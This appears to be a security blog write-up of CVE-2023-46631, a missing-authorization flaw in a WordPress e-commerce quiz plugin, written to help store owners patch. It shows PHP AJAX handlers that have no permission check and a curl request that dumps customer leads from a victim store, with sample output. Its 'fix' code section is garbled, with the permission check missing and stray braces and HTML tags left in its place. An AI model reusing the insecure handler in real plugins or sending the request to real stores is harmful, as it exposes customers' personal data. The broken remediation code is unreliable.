In late 2023, a critical vulnerability—CVE-2023-46631—was disclosed in the popular Product Recommendation Quiz for eCommerce WordPress plugin by RevenueHunt. This bug affects all versions up to 2.1.2 and can put sensitive shop data or customer information in danger. In this long read, we’ll break down what went wrong, walk through how the exploit works (with code snippets!), and show you how to stay secure.

Vulnerability: Missing Authorization Check (Access Control Problem)

- CVE: CVE-2023-46631

References

- NVD - CVE-2023-46631
- WPScan Advisory

What Is CVE-2023-46631?

CVE-2023-46631 is a Missing Authorization (a.k.a. Broken Access Control) vulnerability. The affected plugin, used by WooCommerce and Shopify stores to provide product quizzes, mistakenly allows anyone—without needing to log in or have special permissions—to access certain admin-level operations.

This means hackers can view, modify, or delete quiz data on your store if you’re running an affected version.

How Does This Work? (Technical Details)

The core of the problem: the plugin fails to verify if the user making a request is allowed to do so. For example, functions intended for admins (like updating quiz questions, exporting leads, or seeing analytics) can be called by anyone, even if they're not logged in.

Recall: any WordPress AJAX callback function hooked to wp_ajax_nopriv_* is by design open to unauthenticated users.

Here’s a typical structure in WordPress plugins for AJAX handling

// File: includes/ajax-handler.php
add_action('wp_ajax_export_leads', 'rh_export_leads');
// Problem: also allows nopriv (no logged-in user)
add_action('wp_ajax_nopriv_export_leads', 'rh_export_leads');

function rh_export_leads() {
    // No current_user_can() or nonce check!
    $leads = get_option('product_quiz_leads');
    header('Content-Type: application/json');
    echo json_encode($leads);
    exit;
}

Here, no permission check or nonce validation is done. Anyone can send a request to admin-ajax.php?action=export_leads and dump your quiz leads—even if they were supposed to be private.

Crafting a Simple Exploit

Let's try it out in the wild! Here’s an example using cURL to grab all quiz leads from a vulnerable store:

curl -k "https://victimstore.com/wp-admin/admin-ajax.php?action=export_leads";

Result (example output)

[
    {"name":"John Doe","email":"john@example.com","product":"Red Widget"},
    {"name":"Jane Smith","email":"jane@example.com","product":"Blue Widget"}
]

No password required, no login—just a simple GET request.

What Could an Attacker Do?

- Steal all lead/contact data collected by quizzes
- Change quiz questions or outcomes to redirect users to malicious products/sites

Insert spam answers or sabotage business analytics

This opens the door to data privacy violations, business disruption, and even phishing attacks using stolen leads.

Who Is Affected?

All stores running Product Recommendation Quiz for eCommerce before version 2.1.3 are vulnerable. If you haven’t updated, you ARE at risk.

- Added proper permission checks, e.g.

}

// ...proceed as before
}
<br><br>- <b>Removed public nopriv` AJAX hooks where not needed.

- Nonce/token validation in sensitive operations.

### Update Immediately!

Go to your WordPress admin, find the Product Recommendation Quiz plugin, and update to the latest version ASAP.

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## Final Word: Check All Plugins

This sort of fault is common in many plugins—most stores run dozens, and any of them can introduce similar access control holes.

- Always vet your plugins.
- Keep everything updated.
- Review plugin settings for access restrictions.

For developers: Always check authorization in your custom code. Don’t assume that “nobody would guess this URL”—someone will.

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## More to Learn

- OWASP Access Control Cheat Sheet
- List of WordPress Security Best Practices

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## Wrapping Up

CVE-2023-46631 is an avoidable, but very serious issue that could have exposed eCommerce sites worldwide. Let this be a reminder: *Missing authorization checks* are a simple, yet costly mistake. Patch up, stay alert, and protect your site—and your customers’ trust.

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If you found this post useful, consider sharing with a friend who's running an online store. Stay safe!

Timeline

Published on: 01/02/2025 12:15:13 UTC